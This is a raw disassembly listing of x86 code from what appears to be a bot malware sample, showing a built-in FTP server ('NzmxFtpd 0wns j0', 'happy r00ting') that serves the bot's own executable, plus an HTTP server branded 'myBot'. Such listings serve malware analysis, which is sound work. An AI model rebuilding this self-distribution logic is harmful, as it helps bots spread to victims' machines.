		jb	short loc_405574

loc_405584:				; CODE XREF: sub_4053D5+1A1j
		cmp	ecx, [ebp+var_228]
		jnz	short loc_4055A2
		cmp	[ebp+var_228], 40h
		jnb	short loc_4055A2
		mov	[ebp+ecx*4+var_224], eax
		inc	[ebp+var_228]

loc_4055A2:				; CODE XREF: sub_4053D5+1B5j
					; sub_4053D5+1BEj
		cmp	eax, [ebp+var_4]
		jle	short loc_4055AA
		mov	[ebp+var_4], eax

loc_4055AA:				; CODE XREF: sub_4053D5+1D0j
		push	esi
		push	15h
		push	offset a220Nzmxftpd0wn ; "220 NzmxFtpd 0wns j0\n"
		push	eax
		call	ebx	; send
		jmp	loc_4059BF
; ---------------------------------------------------------------------------
		dw 8D56h
; ---------------------------------------------------------------------------
		test	[ebp+edi*8+var_4+3], esp
		jmp	fword ptr [edx+64h]
; ---------------------------------------------------------------------------
		db 50h
		dd 0C5E89057h, 85716B00h, 8B527FC0h, 0FFFDD895h, 3BC933FFh
		dd 8D3A76D6h, 0FFFDDC85h
		db 0FFh
; ---------------------------------------------------------------------------

loc_4055E1:				; CODE XREF: sub_4053D5+216j
		cmp	[eax], edi
		jz	short loc_4055EF
		inc	ecx
		add	eax, 4
		cmp	ecx, edx
		jb	short loc_4055E1
		jmp	short loc_405615
; ---------------------------------------------------------------------------

loc_4055EF:				; CODE XREF: sub_4053D5+20Ej
		dec	edx
		cmp	ecx, edx
		jnb	short loc_40560F
		lea	eax, [ebp+ecx*4+var_224]

loc_4055FB:				; CODE XREF: sub_4053D5+238j
		mov	edx, [eax+4]
		inc	ecx
		mov	[eax], edx
		mov	edx, [ebp+var_228]
		add	eax, 4
		dec	edx
		cmp	ecx, edx
		jb	short loc_4055FB

loc_40560F:				; CODE XREF: sub_4053D5+21Dj
		dec	[ebp+var_228]

loc_405615:				; CODE XREF: sub_4053D5+218j
		push	edi
		nop
		call	near ptr 71AB1A6Dh
		jmp	loc_4059BF
; ---------------------------------------------------------------------------
		lea	eax, [ebp+var_334]
		push	eax
		lea	eax, [ebp+var_AC]
		push	eax
		lea	eax, [ebp+var_29C]
		push	offset aSS_1	; "%s %s"
		push	eax
		call	sub_418A52
		lea	eax, [ebp+var_AC]
		push	offset aUser_1	; "USER"
		push	eax
		call	sub_4176D0
		add	esp, 18h
		test	eax, eax
		jnz	short loc_405665
		push	esi
		push	16h
		push	offset a331PasswordReq ; "331 Password required\n"
		jmp	loc_4059AA
; ---------------------------------------------------------------------------

loc_405665:				; CODE XREF: sub_4053D5+281j
		lea	eax, [ebp+var_AC]
		push	offset aPass	; "PASS"
		push	eax
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_405689
		push	esi
		push	14h
		push	offset a230UserLoggedI ; "230 User logged in.\n"
		jmp	loc_4059AA
; ---------------------------------------------------------------------------

loc_405689:				; CODE XREF: sub_4053D5+2A5j
		lea	eax, [ebp+var_AC]
		push	offset aSyst	; "SYST"
		push	eax
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4056AD
		push	esi
		push	0Dh
		push	offset a215Nzmxftpd ; "215 NzmxFtpd\n"
		jmp	loc_4059AA
; ---------------------------------------------------------------------------

loc_4056AD:				; CODE XREF: sub_4053D5+2C9j
		lea	eax, [ebp+var_AC]
		push	offset aRest	; "REST"
		push	eax
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4056D1
		push	esi
		push	10h
		push	offset a350Restarting_ ; "350 Restarting.\n"
		jmp	loc_4059AA
; ---------------------------------------------------------------------------

loc_4056D1:				; CODE XREF: sub_4053D5+2EDj
		lea	eax, [ebp+var_AC]
		push	offset off_42A2D0
		push	eax
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4056F5
		push	esi
		push	1Eh
		push	offset a257IsCurrentDi ; "257 \"/\" is current directory.\n"
		jmp	loc_4059AA
; ---------------------------------------------------------------------------

loc_4056F5:				; CODE XREF: sub_4053D5+311j
		lea	eax, [ebp+var_AC]
		push	offset aType	; "TYPE"
		push	eax
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_405730
		lea	eax, [ebp+var_334]
		push	offset aA	; "A"
		push	eax
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_405730
		push	esi
		push	13h
		push	offset a200TypeSetToA_ ; "200 Type set to A.\n"
		jmp	loc_4059AA
; ---------------------------------------------------------------------------

loc_405730:				; CODE XREF: sub_4053D5+335j
					; sub_4053D5+34Cj
		lea	eax, [ebp+var_AC]
		push	offset aType	; "TYPE"
		push	eax
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40576B
		lea	eax, [ebp+var_334]
		push	offset aI	; "I"
		push	eax
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40576B
		push	esi
		push	13h
		push	offset a200TypeSetToI_ ; "200 Type set to I.\n"
		jmp	loc_4059AA
; ---------------------------------------------------------------------------

loc_40576B:				; CODE XREF: sub_4053D5+370j
					; sub_4053D5+387j
		lea	eax, [ebp+var_AC]
		push	offset aPasv	; "PASV"
		push	eax
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4057B9
		push	0Ah
		mov	esi, offset a425PassiveNotS ; "425 Passive not supported on this serve"...
		pop	ecx
		lea	edi, [ebp+var_124]
		rep movsd
		push	eax
		lea	eax, [ebp+var_124]
		push	eax
		movsw
		call	sub_417AB0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_124]

loc_4057A9:				; CODE XREF: sub_4053D5+423j
		push	eax
		push	[ebp+arg_0]
		call	ebx	; send
		xor	esi, esi

loc_4057B1:				; CODE XREF: sub_4053D5+4F6j
		mov	edi, [ebp+arg_0]
		jmp	loc_4059AD
; ---------------------------------------------------------------------------

loc_4057B9:				; CODE XREF: sub_4053D5+3ABj
		lea	eax, [ebp+var_AC]
		push	offset aList	; "LIST"
		push	eax
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4057FA
		push	5
		mov	esi, offset a226TransferCom ; "226 Transfer complete\n"
		pop	ecx
		lea	edi, [ebp+var_C4]
		rep movsd
		movsw
		push	eax
		lea	eax, [ebp+var_C4]
		push	eax
		movsb
		call	sub_417AB0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_C4]
		jmp	short loc_4057A9
; ---------------------------------------------------------------------------

loc_4057FA:				; CODE XREF: sub_4053D5+3F9j
		lea	eax, [ebp+var_AC]
		push	offset aPort	; "PORT"
		push	eax
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4058D0
		lea	eax, [ebp+var_2D0]
		push	eax
		lea	eax, [ebp+var_F8]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_1C]
		push	eax
		lea	eax, [ebp+var_29C]
		push	offset aS	; "%*s %[^,],%[^,],%[^,],%[^,],%[^,],%[^\n]"...
		push	eax
		call	sub_418A52
		lea	eax, [ebp+var_F8]
		push	eax
		call	sub_41781F
		mov	edi, eax
		lea	eax, [ebp+var_2D0]
		push	eax
		call	sub_41781F
		mov	[ebp+var_8], eax
		push	32h
		lea	eax, [ebp+var_F8]
		push	esi
		push	eax
		call	sub_417330
		add	esp, 34h
		lea	eax, [ebp+var_F8]
		push	[ebp+var_8]
		push	edi
		push	offset aXX	; "%x%x\n"
		push	eax
		call	sub_4172B0
		push	10h
		lea	eax, [ebp+var_F8]
		push	esi
		push	eax
		call	sub_418A3B
		add	esp, 1Ch
		mov	[ebp+var_8], eax
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_1C]
		push	eax
		lea	eax, [ebp+var_48]
		push	offset aS_S_S_S	; "%s.%s.%s.%s"
		push	eax
		call	sub_4172B0
		add	esp, 18h
		push	esi
		push	1Dh
		push	offset a200PortCommand ; "200 PORT command successful.\n"
		push	[ebp+arg_0]
		call	ebx	; send
		jmp	loc_4057B1
; ---------------------------------------------------------------------------

loc_4058D0:				; CODE XREF: sub_4053D5+43Aj
		lea	eax, [ebp+var_AC]
		push	offset aRetr	; "RETR"
		push	eax
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40598B
		push	esi
		push	28h
		push	offset a150OpeningBina ; "150 Opening BINARY mode data connection"...
		push	edi
		call	ebx	; send
		push	[ebp+var_8]
		lea	eax, [ebp+var_48]
		push	eax
		call	sub_4059DB
		pop	ecx
		cmp	eax, 1
		pop	ecx
		jnz	short loc_405981
		call	sub_405A58
		cmp	eax, 1
		jnz	loc_4059AD
		push	esi
		push	17h
		push	offset a226TransferC_0 ; "226 Transfer complete.\n"
		push	edi
		call	ebx	; send
		lea	eax, [ebp+var_6D8]
		push	eax
		lea	eax, [ebp+var_48]
		push	dword_43C83C
		push	eax
		lea	eax, [ebp+var_8DC]
		push	offset unk_42A128
		push	eax
		call	sub_4172B0
		add	esp, 14h
		cmp	[ebp+var_440], esi
		jnz	short loc_405972
		push	esi
		lea	eax, [ebp+var_8DC]
		push	[ebp+var_444]
		push	eax
		lea	eax, [ebp+var_4C4]
		push	eax
		push	[ebp+var_6DC]
		call	sub_40D679
		add	esp, 14h

loc_405972:				; CODE XREF: sub_4053D5+578j
		lea	eax, [ebp+var_8DC]
		push	eax
		call	sub_40BF6D
		pop	ecx
		jmp	short loc_4059AD
; ---------------------------------------------------------------------------

loc_405981:				; CODE XREF: sub_4053D5+532j
		push	esi
		push	20h
		push	offset a425CanTOpenDat ; "425 Can't open data connection.\n"
		jmp	short loc_4059AA
; ---------------------------------------------------------------------------

loc_40598B:				; CODE XREF: sub_4053D5+510j
		lea	eax, [ebp+var_AC]
		push	offset aQuit	; "QUIT"
		push	eax
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4059AD
		push	esi
		push	1Bh
		push	offset a221GoodbyeHapp ; "221 Goodbye happy r00ting.\n"

loc_4059AA:				; CODE XREF: sub_4053D5+28Bj
					; sub_4053D5+2AFj ...
		push	edi
		call	ebx	; send

loc_4059AD:				; CODE XREF: sub_4053D5+3DFj
					; sub_4053D5+53Cj ...
		push	64h
		lea	eax, [ebp+var_29C]
		push	esi
		push	eax
		call	sub_417330
		add	esp, 0Ch

loc_4059BF:				; CODE XREF: sub_4053D5+1E0j
					; sub_4053D5+247j
		inc	edi
		cmp	edi, [ebp+var_4]
		mov	[ebp+arg_0], edi
		jle	loc_405503
		jmp	loc_4054C8
; ---------------------------------------------------------------------------

loc_4059D1:				; CODE XREF: sub_4053D5+11Ej
		push	1
		pop	eax

loc_4059D4:				; CODE XREF: sub_4053D5+D0j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	4
sub_4053D5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4059DB	proc near		; CODE XREF: sub_4053D5+528p

var_1A0		= byte ptr -1A0h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 1A0h
		lea	eax, [ebp+var_1A0]
		push	eax
		push	101h
		call	near ptr 71AB41DAh
		nop
		push	0
		push	1
		push	2
		call	near ptr 71AB3C22h
		nop
		push	[ebp+arg_0]
		mov	dword_43C838, eax
		mov	[ebp+var_10], 2
		nop
		call	near ptr 71AB12F8h
		push	[ebp+arg_4]
		mov	[ebp+var_C], eax
		call	near ptr 71AB1746h
		nop
		mov	[ebp+var_E], ax
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	dword_43C838
		nop
		call	near ptr 71AB3E5Dh
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_405A53
		push	dword_43C838
		nop
		call	near ptr 71AB1A6Dh
		nop
		call	near ptr 71AB1836h
		xor	eax, eax
		leave
		retn
; ---------------------------------------------------------------------------

loc_405A53:				; CODE XREF: sub_4059DB+60j
		push	1
		pop	eax
		leave
		retn
sub_4059DB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_405A58	proc near		; CODE XREF: sub_4053D5+534p

var_504		= byte ptr -504h
var_104		= byte ptr -104h

		push	ebp
		mov	ebp, esp
		sub	esp, 504h
		push	esi
		lea	eax, [ebp+var_104]
		push	104h
		push	eax
		push	0
		call	near ptr 2620000h
		nop
		lea	eax, [ebp+var_104]
		push	offset aRb	; "rb"
		push	eax
		call	sub_4179A8
		mov	esi, eax
		pop	ecx
		test	esi, esi
		pop	ecx
		jz	short loc_405AEF
		test	byte ptr [esi+0Ch], 10h
		jnz	short loc_405AD3
		push	edi
		mov	edi, 400h

loc_405A9B:				; CODE XREF: sub_405A58+78j
		push	esi
		push	1
		lea	eax, [ebp+var_504]
		push	edi
		push	eax
		call	sub_418A86
		add	esp, 10h
		lea	eax, [ebp+var_504]
		push	0
		push	edi
		push	eax
		push	dword_43C838
		nop
		call	near ptr 71AB1AF4h
		push	1
		nop
		call	near ptr 25D0CB3h
		test	byte ptr [esi+0Ch], 10h
		jz	short loc_405A9B
		pop	edi

loc_405AD3:				; CODE XREF: sub_405A58+3Bj
		push	esi
		call	sub_417900
		pop	ecx
		push	dword_43C838
		call	near ptr 71AB1A6Dh
		nop
		nop
		call	near ptr 71AB1836h
		push	1
		pop	eax

loc_405AEF:				; CODE XREF: sub_405A58+35j
		pop	esi
		leave
		retn
sub_405A58	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_405AF2	proc near		; DATA XREF: sub_407252+333o
					; sub_40EE72+54E8o

var_28F0	= byte ptr -28F0h
var_18F0	= byte ptr -18F0h
var_8F0		= byte ptr -8F0h
var_6F0		= byte ptr -6F0h
var_5EC		= dword	ptr -5ECh
var_5E8		= byte ptr -5E8h
var_360		= byte ptr -360h
var_25C		= dword	ptr -25Ch
var_254		= dword	ptr -254h
var_250		= dword	ptr -250h
var_24C		= dword	ptr -24Ch
var_248		= dword	ptr -248h
var_23C		= byte ptr -23Ch
var_138		= dword	ptr -138h
var_134		= dword	ptr -134h
var_34		= byte ptr -34h
var_24		= word ptr -24h
var_22		= word ptr -22h
var_20		= dword	ptr -20h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 28F0h
		call	sub_417B30
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		mov	ecx, 0ECh
		mov	esi, eax
		lea	edi, [ebp+var_5EC]
		push	1
		rep movsd
		pop	esi
		xor	ebx, ebx
		mov	[eax+3ACh], esi
		push	10h
		lea	eax, [ebp+var_24]
		push	ebx
		push	eax
		mov	[ebp+var_14], esi
		call	sub_417330
		add	esp, 0Ch
		mov	[ebp+var_24], 2
		push	[ebp+var_25C]
		call	dword_43F668
		push	ebx
		push	esi
		push	2
		mov	[ebp+var_22], ax
		mov	[ebp+var_20], ebx
		call	dword_43F6E8
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		mov	[ebp+var_C], edi
		jz	loc_405EDD
		mov	eax, [ebp+var_254]
		push	10h
		imul	eax, 234h
		mov	dword_4450CC[eax], edi
		lea	eax, [ebp+var_24]
		push	eax
		push	edi
		call	dword_43F694
		cmp	eax, 0FFFFFFFFh
		jz	loc_405EDD
		push	7FFFFFFFh
		push	edi
		call	dword_43F690
		cmp	eax, 0FFFFFFFFh
		jz	loc_405EDD
		lea	eax, [ebp+var_14]
		push	eax
		push	8004667Eh
		push	edi
		call	dword_43F704
		cmp	eax, 0FFFFFFFFh
		jz	loc_405EDD
		mov	ebx, esi
		mov	[ebp+var_134], edi
		mov	[ebp+var_138], ebx
		mov	[ebp+var_8], edi

loc_405BC9:				; CODE XREF: sub_405AF2+3E1j
		push	41h
		xor	eax, eax
		pop	ecx
		lea	esi, [ebp+var_138]
		push	eax
		push	eax
		push	eax
		lea	eax, [ebp+var_6F0]
		push	eax
		mov	eax, [ebp+var_8]
		lea	edi, [ebp+var_6F0]
		inc	eax
		rep movsd
		push	eax
		call	dword_43F650
		cmp	eax, 0FFFFFFFFh
		jz	loc_405ED8
		xor	esi, esi
		mov	[ebp+var_4], esi

loc_405BFF:				; CODE XREF: sub_405AF2+3DBj
		lea	eax, [ebp+var_6F0]
		push	eax
		push	esi
		call	dword_43F560
		test	eax, eax
		jz	loc_405EC3
		cmp	esi, [ebp+var_C]
		jnz	short loc_405C81
		lea	eax, [ebp+var_10]
		mov	[ebp+var_10], 10h
		push	eax
		lea	eax, [ebp+var_34]
		push	eax
		push	[ebp+var_C]
		call	dword_43F6FC
		cmp	eax, 0FFFFFFFFh
		jz	loc_405EC3
		xor	ecx, ecx
		test	ebx, ebx
		jbe	short loc_405C53
		lea	edx, [ebp+var_134]

loc_405C47:				; CODE XREF: sub_405AF2+15Fj
		cmp	[edx], eax
		jz	short loc_405C53
		inc	ecx
		add	edx, 4
		cmp	ecx, ebx
		jb	short loc_405C47

loc_405C53:				; CODE XREF: sub_405AF2+14Dj
					; sub_405AF2+157j
		cmp	ecx, ebx
		jnz	short loc_405C70
		cmp	ebx, 40h
		jnb	short loc_405C70
		mov	[ebp+ecx*4+var_134], eax
		mov	ebx, [ebp+var_138]
		inc	ebx
		mov	[ebp+var_138], ebx

loc_405C70:				; CODE XREF: sub_405AF2+163j
					; sub_405AF2+168j
		cmp	eax, [ebp+var_8]
		jbe	loc_405EC3
		mov	[ebp+var_8], eax
		jmp	loc_405EC3
; ---------------------------------------------------------------------------

loc_405C81:				; CODE XREF: sub_405AF2+126j
		mov	edi, 1000h
		lea	eax, [ebp+var_28F0]
		push	edi
		push	0
		push	eax
		call	sub_417330
		push	edi
		lea	eax, [ebp+var_18F0]
		push	0
		push	eax
		call	sub_417330
		add	esp, 18h
		lea	eax, [ebp+var_28F0]
		push	0
		push	edi
		push	eax
		push	esi
		call	dword_43F680
		test	eax, eax
		jg	short loc_405D14
		push	esi
		call	dword_43F700
		xor	ecx, ecx
		test	ebx, ebx
		jbe	loc_405EC3
		lea	eax, [ebp+var_134]

loc_405CD3:				; CODE XREF: sub_405AF2+1EBj
		cmp	[eax], esi
		jz	short loc_405CE4
		inc	ecx
		add	eax, 4
		cmp	ecx, ebx
		jb	short loc_405CD3
		jmp	loc_405EC3
; ---------------------------------------------------------------------------

loc_405CE4:				; CODE XREF: sub_405AF2+1E3j
		lea	eax, [ebx-1]
		cmp	ecx, eax
		jnb	short loc_405D08
		lea	eax, [ebp+ecx*4+var_134]

loc_405CF2:				; CODE XREF: sub_405AF2+214j
		mov	edx, [eax+4]
		inc	ecx
		mov	[eax], edx
		mov	ebx, [ebp+var_138]
		add	eax, 4
		lea	edx, [ebx-1]
		cmp	ecx, edx
		jb	short loc_405CF2

loc_405D08:				; CODE XREF: sub_405AF2+1F7j
		dec	ebx
		mov	[ebp+var_138], ebx
		jmp	loc_405EC3
; ---------------------------------------------------------------------------

loc_405D14:				; CODE XREF: sub_405AF2+1C8j
		xor	esi, esi
		push	104h
		lea	eax, [ebp+var_23C]
		push	esi
		push	eax
		call	sub_417330
		lea	eax, [ebp+var_28F0]
		mov	[ebp+arg_0], esi
		push	eax
		call	sub_417AB0
		add	esp, 10h
		test	eax, eax
		jbe	loc_405EC3

loc_405D42:				; CODE XREF: sub_405AF2+309j
		mov	eax, [ebp+arg_0]
		mov	al, [ebp+eax+var_28F0]
		cmp	al, 0Ah
		mov	[ebp+esi+var_18F0], al
		jnz	loc_405DE7
		mov	esi, offset aGet ; "GET	"
		lea	eax, [ebp+var_18F0]
		push	esi
		push	eax
		call	sub_417880
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_405DBB
		lea	eax, [ebp+var_18F0]
		push	eax
		call	sub_417AB0
		cmp	eax, 5
		pop	ecx
		jbe	short loc_405DBB
		mov	eax, offset asc_42A3B4 ; " "
		push	eax
		push	eax
		lea	eax, [ebp+var_18F0]
		push	esi
		push	eax
		call	sub_417880
		pop	ecx
		pop	ecx
		push	eax
		call	sub_417880
		pop	ecx
		pop	ecx
		push	eax
		call	sub_418B6E
		push	eax
		lea	eax, [ebp+var_23C]
		push	eax
		call	sub_4179C0
		add	esp, 10h
		jmp	short loc_405DD2
; ---------------------------------------------------------------------------

loc_405DBB:				; CODE XREF: sub_405AF2+27Fj
					; sub_405AF2+291j
		lea	eax, [ebp+var_18F0]
		push	offset asc_42A3B0 ; "\r\n"
		push	eax
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_405E06

loc_405DD2:				; CODE XREF: sub_405AF2+2C7j
		push	edi
		lea	eax, [ebp+var_18F0]
		push	0
		push	eax
		call	sub_417330
		add	esp, 0Ch
		or	esi, 0FFFFFFFFh

loc_405DE7:				; CODE XREF: sub_405AF2+263j
		inc	[ebp+arg_0]
		lea	eax, [ebp+var_28F0]
		push	eax
		inc	esi
		call	sub_417AB0
		cmp	[ebp+arg_0], eax
		pop	ecx
		jb	loc_405D42
		jmp	loc_405EC3
; ---------------------------------------------------------------------------

loc_405E06:				; CODE XREF: sub_405AF2+2DEj
		xor	ecx, ecx
		test	ebx, ebx
		jbe	short loc_405E50
		lea	eax, [ebp+var_134]

loc_405E12:				; CODE XREF: sub_405AF2+32Dj
		mov	esi, [ebp+var_4]
		cmp	[eax], esi
		jz	short loc_405E23
		inc	ecx
		add	eax, 4
		cmp	ecx, ebx
		jb	short loc_405E12
		jmp	short loc_405E53
; ---------------------------------------------------------------------------

loc_405E23:				; CODE XREF: sub_405AF2+325j
		lea	eax, [ebx-1]
		cmp	ecx, eax
		jnb	short loc_405E47
		lea	eax, [ebp+ecx*4+var_134]

loc_405E31:				; CODE XREF: sub_405AF2+353j
		mov	edx, [eax+4]
		inc	ecx
		mov	[eax], edx
		mov	ebx, [ebp+var_138]
		add	eax, 4
		lea	edx, [ebx-1]
		cmp	ecx, edx
		jb	short loc_405E31

loc_405E47:				; CODE XREF: sub_405AF2+336j
		dec	ebx
		mov	[ebp+var_138], ebx
		jmp	short loc_405E53
; ---------------------------------------------------------------------------

loc_405E50:				; CODE XREF: sub_405AF2+318j
		mov	esi, [ebp+var_4]

loc_405E53:				; CODE XREF: sub_405AF2+32Fj
					; sub_405AF2+35Cj
		lea	eax, [ebp+var_23C]
		test	eax, eax
		jz	short loc_405EBC
		lea	eax, [ebp+var_360]
		push	eax
		call	sub_417AB0
		mov	edi, eax
		lea	eax, [ebp+var_23C]
		push	eax
		call	sub_417AB0
		add	edi, eax
		pop	ecx
		cmp	edi, 104h
		pop	ecx
		jnb	short loc_405EBC
		and	[ebp+arg_0], 0
		lea	eax, [ebp+arg_0]
		push	eax
		push	8004667Eh
		push	esi
		call	dword_43F704
		push	[ebp+var_254]
		lea	eax, [ebp+var_23C]
		push	[ebp+var_248]
		push	eax
		lea	eax, [ebp+var_360]
		push	eax
		push	esi
		call	sub_4060D0
		add	esp, 14h
		jmp	short loc_405EC3
; ---------------------------------------------------------------------------

loc_405EBC:				; CODE XREF: sub_405AF2+369j
					; sub_405AF2+38Fj
		push	esi
		call	dword_43F700

loc_405EC3:				; CODE XREF: sub_405AF2+11Dj
					; sub_405AF2+143j ...
		mov	esi, [ebp+var_4]
		inc	esi
		cmp	esi, [ebp+var_8]
		mov	[ebp+var_4], esi
		jbe	loc_405BFF
		jmp	loc_405BC9
; ---------------------------------------------------------------------------

loc_405ED8:				; CODE XREF: sub_405AF2+102j
		mov	edi, [ebp+var_C]
		xor	ebx, ebx

loc_405EDD:				; CODE XREF: sub_405AF2+6Aj
					; sub_405AF2+92j ...
		call	dword_43F5FC
		push	eax
		lea	eax, [ebp+var_8F0]
		push	offset unk_42A36C
		push	eax
		call	sub_4172B0
		add	esp, 0Ch
		cmp	[ebp+var_24C], ebx
		jnz	short loc_405F23
		push	ebx
		lea	eax, [ebp+var_8F0]
		push	[ebp+var_250]
		push	eax
		lea	eax, [ebp+var_5E8]
		push	eax
		push	[ebp+var_5EC]
		call	sub_40D679
		add	esp, 14h

loc_405F23:				; CODE XREF: sub_405AF2+40Cj
		lea	eax, [ebp+var_8F0]
		push	eax
		call	sub_40BF6D
		pop	ecx
		push	edi
		call	dword_43F700
		push	[ebp+var_254]
		call	sub_417078
		pop	ecx
		push	ebx
		call	near ptr 25D0000h
		nop
		pop	edi
		pop	esi
		pop	ebx
sub_405AF2	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_405F4D	proc near		; DATA XREF: sub_4060D0+24Do

var_1654	= byte ptr -1654h
var_654		= byte ptr -654h
var_550		= byte ptr -550h
var_44C		= dword	ptr -44Ch
var_3C8		= byte ptr -3C8h
var_2C4		= byte ptr -2C4h
var_B8		= dword	ptr -0B8h
var_B4		= dword	ptr -0B4h
var_A4		= dword	ptr -0A4h
var_9C		= byte ptr -9Ch
var_68		= byte ptr -68h
var_20		= byte ptr -20h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 1654h
		call	sub_417B30
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		mov	ecx, 0ECh
		mov	esi, eax
		lea	edi, [ebp+var_44C]
		rep movsd
		mov	dword ptr [eax+3ACh], 1
		lea	eax, [ebp+var_3C8]
		push	eax
		lea	eax, [ebp+var_550]
		push	eax
		call	sub_4172B0
		pop	ecx
		lea	eax, [ebp+var_2C4]
		pop	ecx
		push	eax
		lea	eax, [ebp+var_654]
		push	eax
		call	sub_4172B0
		xor	edi, edi
		pop	ecx
		cmp	[ebp+var_A4], edi
		pop	ecx
		jz	short loc_405FB3
		push	offset aTextHtml ; "text/html"
		jmp	short loc_405FB8
; ---------------------------------------------------------------------------

loc_405FB3:				; CODE XREF: sub_405F4D+5Dj
		push	offset aApplicationOct ; "application/octet-stream"

loc_405FB8:				; CODE XREF: sub_405F4D+64j
		lea	eax, [ebp+var_9C]
		push	eax
		call	sub_4172B0
		pop	ecx
		lea	eax, [ebp+var_68]
		pop	ecx
		mov	esi, 409h
		push	46h
		push	eax
		push	offset aDddDdMmmYyyy ; "ddd, dd	MMM yyyy"
		push	edi
		push	edi
		push	esi
		call	near ptr 2640000h
		nop
		lea	eax, [ebp+var_20]
		push	1Eh
		push	eax
		push	offset aHhMmSs	; "HH:mm:ss"
		push	edi
		push	edi
		push	esi
		nop
		call	near ptr 2630000h
		lea	eax, [ebp+var_20]
		cmp	[ebp+var_B8], 0FFFFFFFFh
		push	eax
		lea	eax, [ebp+var_68]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_68]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_68]
		push	eax
		jnz	short loc_406031
		lea	eax, [ebp+var_9C]
		push	eax
		lea	eax, [ebp+var_1654]
		push	offset aHttp1_0200OkSe ; "HTTP/1.0 200 OK\r\nServer: myBot\r\nCache-C"...
		push	eax
		call	sub_4172B0
		add	esp, 24h
		jmp	short loc_406052
; ---------------------------------------------------------------------------

loc_406031:				; CODE XREF: sub_405F4D+C5j
		push	[ebp+var_B8]
		lea	eax, [ebp+var_9C]
		push	eax
		lea	eax, [ebp+var_1654]
		push	offset aHttp1_0200Ok_0 ; "HTTP/1.0 200 OK\r\nServer: myBot\r\nCache-C"...
		push	eax
		call	sub_4172B0
		add	esp, 28h

loc_406052:				; CODE XREF: sub_405F4D+E2j
		lea	eax, [ebp+var_1654]
		push	edi
		push	eax
		call	sub_417AB0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1654]
		push	eax
		push	[ebp+var_44C]
		call	dword_43F6B8
		cmp	[ebp+var_A4], edi
		jnz	short loc_406092
		lea	eax, [ebp+var_550]
		push	eax
		push	[ebp+var_44C]
		call	sub_406A0D
		pop	ecx
		pop	ecx
		jmp	short loc_4060AF
; ---------------------------------------------------------------------------

loc_406092:				; CODE XREF: sub_405F4D+12Dj
		lea	eax, [ebp+var_654]
		push	eax
		push	edi
		push	[ebp+var_44C]
		lea	eax, [ebp+var_550]
		push	eax
		call	sub_406387
		add	esp, 10h

loc_4060AF:				; CODE XREF: sub_405F4D+143j
		push	[ebp+var_44C]
		call	dword_43F700
		push	[ebp+var_B4]
		call	sub_417078
		pop	ecx
		push	edi
		call	near ptr 25D0000h
		nop
		pop	edi
		pop	esi
sub_405F4D	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4060D0	proc near		; CODE XREF: sub_405AF2+3C0p

var_8C4		= byte ptr -8C4h
var_6C4		= dword	ptr -6C4h
var_640		= byte ptr -640h
var_53C		= byte ptr -53Ch
var_330		= dword	ptr -330h
var_32C		= dword	ptr -32Ch
var_31C		= dword	ptr -31Ch
var_318		= dword	ptr -318h
var_314		= byte ptr -314h
var_211		= byte ptr -211h
var_210		= byte ptr -210h
var_10C		= byte ptr -10Ch
var_10B		= byte ptr -10Bh
var_10A		= byte ptr -10Ah
var_8		= byte ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 8C4h
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		push	104h
		lea	eax, [ebp+var_210]
		push	edi
		push	eax
